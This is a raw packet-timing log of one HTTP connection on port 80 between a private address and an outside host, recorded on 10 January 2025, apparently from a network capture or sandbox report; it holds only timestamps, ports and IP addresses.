Jan 10, 2025 18:22:59.164899111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164920092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164932966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164937973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.164947987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164973974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166098118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166110992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166121960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166142941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166152000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166156054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166168928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166182041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166183949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166203976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166224957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166260004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166275978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166287899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166300058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166332006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166338921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166352034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166361094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166374922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166383028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166408062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166418076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166424036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166446924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166480064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166501045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166513920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166548967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166563034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166575909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166587114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166599989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166604042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166618109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166625023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166631937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166645050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166657925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166665077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166677952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166688919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166727066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166759968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166771889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166783094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166801929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166835070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166848898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166860104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166873932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166882038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166887045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166899920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.166915894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.166937113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167002916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167016983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167028904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167042971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167062998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167074919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167088032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167100906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167114019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167145014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167154074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167159081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167171001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167181015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167206049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167222977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167303085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167323112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167334080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167361975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167417049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167428970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167440891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167452097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167463064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167465925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167476892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167489052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167503119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167521000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167522907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167534113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167546988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167567968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167583942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167587042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167598009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167613983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167649031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167682886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167695999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167706966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167732000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167742968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167747974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167754889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167768002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167793989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167809963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167833090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167845964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167871952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167928934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167942047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167951107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167963982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167975903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.167979002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.167988062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168003082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168020964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168021917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.168070078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.168265104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168277979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168287992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168301105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168313980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.168323994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168334961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168335915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.168353081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.168375969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.168399096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.211371899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211410046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211422920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211436033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211447001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211458921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211468935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211481094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.211548090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.211600065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.211600065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.215106010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215122938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215142012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215156078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215168953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215179920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215193033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.215204954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.215234041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.215234041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.218763113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.250933886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.250965118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.250976086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.250991106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.250997066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251008034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251019955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251034021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251079082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.251116991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.251897097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251910925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251916885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251934052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251944065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251955986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251966000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.251971960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252000093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252027988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252724886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252753973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252764940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252795935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252810001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252821922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252831936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252845049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252855062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252875090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252876997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252921104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.252952099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.252981901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253012896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253042936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253056049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253066063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253101110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253110886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253124952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253130913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253142118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253154039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253166914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253181934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253196955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253206968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253225088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253237009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253247023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253248930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253269911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253333092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253345013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253367901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253453016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253464937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253477097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253494024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253526926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253529072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253540993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253551006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253565073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253585100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253603935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253612041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253616095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253628016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253645897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253658056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253668070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253675938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253679037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253712893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253752947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253767014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253777027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253787041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253791094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253813028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253829002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253840923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253846884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253879070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253905058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.253931999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253943920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253954887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.253974915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254065037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254076004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254086971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254097939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254108906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254117966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254120111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254129887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254141092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254153013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254164934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254168987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254194975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254209042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254281998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254293919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254312038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254323959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254332066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254358053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254369020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254388094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254400015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254420996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254431009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254441977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254452944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254462957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.254472017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.254501104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.288438082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288459063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288470984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288589954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288603067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288621902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288621902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.288635015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288646936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288656950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.288661003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288672924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288685083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.288686037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.288703918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.288733006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289036036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289057970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289067984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289093018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289099932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289108992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289129972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289134026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289145947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289175987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289180994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289194107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289202929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289223909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289233923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289243937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.289251089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289263964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.289300919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.290446043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290482044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290493965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290504932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290508032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.290549040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290555000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.290561914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290574074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.290584087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.290613890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.298139095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298156023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298175097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298187971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298198938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298209906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298223019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298237085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.298259020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.298300982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.301736116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301764011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301774025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301805973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.301812887 CET	80	49730	193.143.1.205	192.168.2.4
